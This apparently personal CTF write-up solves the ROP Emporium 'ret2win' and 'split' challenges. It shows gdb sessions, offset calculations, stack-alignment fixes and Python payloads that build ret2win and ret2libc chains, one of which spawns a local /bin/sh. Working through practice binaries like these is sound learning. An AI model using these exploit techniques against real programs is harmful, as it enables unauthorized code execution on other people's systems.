Ret2Win
This is the beginning of my ROP journey :)
Download the binaries: https://ropemporium.com/challenge/ret2win.html
Download any architecture type that interests you.
Introduction
Return Oriented Programming (ROP) is the successor of classic buffer overflow techniques such as:
ret2libc- shellcode injection
Modern binaries often include mitigations like:
- NX (No eXecute)
- ASLR
- Stack Canaries
- RELRO
ROP bypasses these protections by chaining together small instruction sequences called gadgets that already exist inside the binary or linked libraries.
Program Analysis
Running the binary:
nastyax0@LAPTOP-DNJPR47V:~/ret2win$ ./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> asdfghjkl;
Thank you!
Exiting
The program itself hints at a vulnerability:
“fit 56 bytes of user input into 32 bytes of stack buffer”
This strongly suggests a stack buffer overflow.
Disassembling the Vulnerable Function
Let’s inspect the pwnme function:
(gdb) disassemble pwnme
Dump of assembler code for function pwnme:
...
0x0000000000400733 <+75>: lea rax,[rbp-0x20]
0x0000000000400737 <+79>: mov edx,0x38
0x000000000040073c <+84>: mov rsi,rax
0x000000000040073f <+87>: mov edi,0x0
0x0000000000400744 <+92>: call 0x400590 <read@plt>
End of assembler dump.
(gdb)
Important observations
lea rax,[rbp-0x20]
This means the buffer is located at
rbp - 0x20
mov edx,0x38
0x38 = 56 bytes
So the program calls:
read(0, buffer, 56)
But the buffer is only:
0x20 = 32 bytes
Result
56 byte input
32 byte buffer
➡ 24 bytes overflow
Stack Layout
Typical stack layout for this function:
| saved RIP | <-- rbp + 0x8
| saved RBP |
| buffer | 32 bytes
Therefore to overwrite RIP:
32 bytes buffer
+ 8 bytes saved RBP
= 40 bytes offset
So we need:
40 bytes padding
+ new RIP
Testing the Overflow
Let’s confirm the crash:
(gdb) run < <(python3 -c 'print("A"*40)')
Starting program: /home/nastyax0/ret2win/ret2win < <(python3 -c 'print("A"*40)')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Program received signal SIGILL, Illegal instruction.
0x000000000040060f in deregister_tm_clones ()
(gdb)
This confirms:
We successfully overwrote RIP
Exploit
Now we locate the ret2win function:
x/x ret2win
0x400756 <ret2win>: 0xe5894855
Address of ret2win:
0x400756
Now craft payload:
padding (40 bytes)
+ ret2win address
Payload:
gdb < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\x56\x07\x40\x00\x00\x00\x00\x00")')
> Thank you! Well done! Here's your flag:
Program received signal SIGSEGV,
Segmentation fault.
0x00007ffff7e21173 in do_system (line=0x400943 "/bin/cat flag.txt") at
../sysdeps/posix/system.c:148 148 ../sysdeps/posix/system.c: No such file or directory.
(gdb) x/x 0x00007ffff7e21173 0x7ffff7e21173 <do_system+339>: 0x2444290f
(gdb) x/i 0x00007ffff7e21173 => 0x7ffff7e21173 <do_system+339>: movaps XMMWORD PTR [rsp+0x50],xmm0
MOVAPS Crash Explanation
ROP Emporium hints about this issue:
The MOVAPS issue If you’re segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
Why this happens
The x86_64 ABI requires 16-byte stack alignment before calling functions like:
system()printf()vfprintf()
If the stack is misaligned, instructions like:
movaps
will crash with a general protection fault.
Fix 1 — Add an Extra ret Gadget
Add a ret gadget before ret2win to restore stack alignment.
Payload:
nastyax0@LAPTOP-DNJPR47V:~/ret2win$ python3 -c
'import sys; sys.stdout.buffer.write(b"A"*40 +
b"\xe7\x06\x40\x00\x00\x00\x00\x00" + b"\x56\x07\x40\x00\x00\x00\x00\x00")' | ./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
Fix 2 — Skip the Function Prologue
Instead of calling the function start, jump one byte forward to skip the push rbp.
Payload:
nastyax0@LAPTOP-DNJPR47V:~/ret2win$
python3 -c 'import sys; sys.stdout.buffer.write
(b"A"*40 + b"\x57\x07\x40\x00\x00\x00\x00\x00")' | ./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
Split
Download the binaries: https://ropemporium.com/challenge/split.html
Download any architecture type that interests you.
For 32 bit Binary Analysis
For 32 bit binary we will do classic ret2libc, is calling convention of 32 bit system is stack based meaning first parameter of any function is pushed last and last parameter is pushed first
Moreover in 64 bit systems, these things changes a bit by register based conventions.
buffer size, determination:
(gdb) disassemble pwnme
Dump of assembler code for function pwnme:
...
0x080485b6 <+9>: push 0x20
0x080485b8 <+11>: push 0x0
0x080485ba <+13>: lea eax,[ebp-0x28]
0x080485bd <+16>: push eax
0x080485be <+17>: call 0x8048410 <memset@plt>
...
0x080485d9 <+44>: push 0x8048700
0x080485de <+49>: call 0x80483c0 <printf@plt>
0x080485e3 <+54>: add esp,0x10
0x080485e6 <+57>: sub esp,0x4
0x080485e9 <+60>: push 0x60
0x080485eb <+62>: lea eax,[ebp-0x28]
0x080485ee <+65>: push eax
0x080485ef <+66>: push 0x0
0x080485f1 <+68>: call 0x80483b0 <read@plt>
End of assembler dump.
Yet again same buffer “mistake” from 1st challenge, the read’s ccount is set to 0x60(96) but buffer is of 0x28(32) bytes
Exploit Startegy
we can extend up to like till we overwrite return address:
system() exit() ‘/bin/sh’ string
(gdb) x/s 0x0804a030
0x804a030
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7dda8d0
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7dc9d10
run <
<(python3 -c
'import sys; sys.stdout.buffer.write(b"A"*40 + b"AAAA"+b"\xd0\xa8\xdd\xf7"+b"\x10\x9d\xdc\xf7"+b"\x30\xa0\x04\x08")')
Contriving a reason to ask user for data...
> Thank you!
[Detaching after vfork from child process 192]
ROPE{a_placeholder_32byte_flag!}
[Inferior 1 (process 188) exited normally]
(just a flag thing hence leaving till here than trying outisde gdb)
For 64-bit Binary Analysis
We need to perform Return Oriented Programming (ROP), but in 64-bit the key constraint is:
Arguments are passed through registers, not the stack.
Background
Every program starts execution from _start, which eventually calls main.
A typical function prologue looks like:
push rbp
mov rbp, rsp
This establishes the stack frame.
Memory Layout
A process has different memory regions:
- Static (compile-time) → fixed layout defined by compiler
- Dynamic (runtime) → managed during execution
Common segmentation:
--------------------------------------------
| r-xp | .text (executable code) |
| r--p | .rodata (read-only data) |
| rw-p | .data + .bss (globals) |
--------------------------------------------
| rw-p | stack |
--------------------------------------------
From /proc/<pid>/maps:
00400000-00401000 r-xp → .text
00600000-00601000 r--p → .rodata
00601000-00602000 rw-p → .data/.bss
7ffd........ rw-p → [stack]
Key properties:
.text→ read + execute (not writable)stack→ read + write (not executable)- This is enforced by W^X policy
Stack Frame Layout (x86_64)
After prologue:
[RBP + 0x8] → Return Address
[RBP + 0x0] → Saved RBP
[RBP - ...] → Local Variables
If a buffer overflow exists, we can overwrite:
- saved RBP (optional)
- return address (critical)
How RET Works
ret behaves as:
RIP = [RSP]
RSP = RSP + 8
So it:
- Reads the top of stack
- Jumps to that address
- Moves stack forward
Effectively:
pop rip
Why ROP is Needed
- Stack is not executable → cannot run shellcode
- But
.textis executable → contains valid instructions
So we reuse existing instructions (gadgets) ending in:
ret
Calling Convention (System V AMD64)
Function arguments are passed via registers:
1st → RDI
2nd → RSI
3rd → RDX
4th → RCX
5th → R8
6th → R9
Example:
system("/bin/sh");
Requires:
RDI = address of "/bin/sh"
Core ROP Idea
We do not manually execute push rdi.
Instead, we use gadgets like:
pop rdi
ret
This allows us to control register values via the stack.
Correct Stack Overwrite (ROP Chain)
After overflow:
[padding .................]
[saved RBP (optional).....]
[address of pop rdi; ret] ← overwrite return address
[address of "/bin/sh"] ← will be popped into RDI
[address of system()] ← next return target
Execution Flow
Step 1: Function returns
ret → jumps to pop rdi; ret
Step 2: Gadget executes
pop rdi
ret
- Loads
/bin/shinto RDI - Next
rettransfers control
Step 3: Control reaches system
RDI = "/bin/sh"
RIP = system()
Equivalent to:
system("/bin/sh");
Important Clarifications
- Stack does not automatically map to
.text - We explicitly place addresses of
.textgadgets on stack .textcontains instructions, not stack frames- ROP works by chaining
ret→ controlled execution flow
Final Idea
ROP is:
Using the stack as a sequence of return addresses to execute controlled instruction chains from
.text.
so pop rdi; ret address of /bin/cat flag.txt address of ret (to avoid misaligment) address of system address of exit optional to avoid segfaulting
Exploit Strategy
finding /bin/sh string
nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ xxd -u /usr/lib/x86_64-linux-gnu/libc.so.6 |grep -B 1 bi
n/sh
00197020: 6962 2F73 7472 746F 645F 6C2E 6300 2D63 ib/strtod_l.c.-c
00197030: 002F 6269 6E2F 7368 0065 7869 7420 3000 ./bin/sh.exit 0.
we found offset for /bin/sh string with the base address:
0x7ffff7dd5000 0x7ffff7dfb000 0x26000 0x0 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7dfb000 0x7ffff7f51000 0x156000 0x26000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f51000 0x7ffff7fa4000 0x53000 0x17c000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7fa4000 0x7ffff7fa8000 0x4000 0x1cf000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7fa8000 0x7ffff7faa000 0x2000 0x1d3000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
(gdb) x/2s 0x7ffff7dd5000+0x00197031
0x7ffff7f6c031: "/bin/sh"
0x7ffff7f6c039: "exit 0"
finding the address of system:
(gdb) p system
quit
$1 = {int (const char *)} 0x7ffff7e21490 <__libc_system>
(gdb)
finding the gadget for pop rdi; ret
nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ ROPgadget --binary ./split --opcode "5fc3"
Opcodes information
============================================================
0x00000000004007c3 : 5fc3
(gdb) x/2i 0x00000000004007c3
0x4007c3 <__libc_csu_init+99>: pop rdi
0x4007c4 <__libc_csu_init+100>: ret
(gdb)
python3 -c 'import sys; sys.stdout.buffer.write(
b"A"*40
+ b"\xc3\x07\x40\x00\x00\x00\x00\x00" # pop rdi
+ b"\x31\xc0\xf6\xf7\xff\x7f\x00\x00" # "/bin/sh"
+ b"\xc4\x07\x40\x00\x00\x00\x00\x00" # ret
+ b"\x90\x14\xe2\xf7\xff\x7f\x00\x00" # system
)' > paylo
nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ ( cat paylo; cat ) | ./split
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
ls
flag.txt paylo split
cat flag.txt
ROPE{a_placeholder_32byte_flag!}
^X^Csplit by ROP Emporium
x86_64
Contriving a reason to ask user for data...
Segmentation fault (core dumped)
for the usefulString: /bin/cat flag.txt
nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ ROPgadget --binary ./split --string "/bin/cat flag.txt"
Strings information
============================================================
0x0000000000601060 : /bin/cat flag.txt
(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\xc3\x07\x40\x00\x00\x00\x00\x00" + b"\x60\x10\x60\x
00\x00\x00\x00\x00" + b"\xc4\x07\x40\x00\x00\x00\x00\x00" + b"\x90\x14\xe2\xf7\xff\x7f")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
[Detaching after vfork from child process 174]
ROPE{a_placeholder_32byte_flag!}
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e3389b in buffered_vfprintf (s=0x7ffff7fa9760 <_IO_2_1_stdout_>, format=format@entry=0x40083c "> ",
args=args@entry=0x7fffffffdb78, mode_flags=mode_flags@entry=0) at ./stdio-common/vfprintf-internal.c:1734
1734 ./stdio-common/vfprintf-internal.c: No such file or directory.
(gdb) quit
A debugging session is active.
Inferior 1 [process 172] will be killed.
Quit anyway? (y or n) y
again if you want non crashable, then add a exit after the system()’s address (reccomended)